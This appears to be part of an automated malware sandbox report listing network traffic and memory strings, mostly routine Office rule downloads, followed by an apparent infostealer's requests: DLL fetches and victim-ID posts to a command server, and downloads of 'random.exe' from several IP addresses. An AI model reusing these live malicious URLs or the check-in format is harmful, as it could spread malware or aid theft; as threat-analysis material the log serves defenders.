Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic

DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 43 34 36 42 33 34 34 31 45 42 33 32 39 34 35 36 34 35 34 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 46 2d 2d 0d 0a Data Ascii: ------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="hwid"B8C46B3441EB3294564547------KJKFBAFIDAEBFHJKJEBFContent-Disposition: form-data; name="build"mars------KJKFBAFIDAEBFHJKJEBF--

Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2218670347.0000000000727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2218670347.0000000000727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeve
Source: file.exe, 00000000.00000002.2218670347.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2218670347.0000000000727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dlla
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2218670347.0000000000727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2218670347.0000000000727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll?Z
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2218670347.0000000000727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2218670347.0000000000727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Kc
Source: file.exe, 00000000.00000002.2218670347.0000000000714000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1981284983.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000003.1981284983.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php-
Source: file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php2
Source: file.exe, 00000000.00000003.1981284983.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6
Source: file.exe, 00000000.00000003.1981284983.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php?
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpVm#O
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpXm
Source: file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpf
Source: file.exe, 00000000.00000003.1981284983.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpy
Source: file.exe, 00000000.00000003.1981284983.0000000000776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php~
Source: file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206Local
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001228000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php6
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpPc
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpV
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpZ
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpa
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpf
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpkK
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/8
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001228000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe17-24
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b31
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b3g
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384z
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe8478001
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeAr
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exep
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exephp/
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exesr
Source: skotes.exe, 0000000E.00000002.3008581192.0000000001240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/ows
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
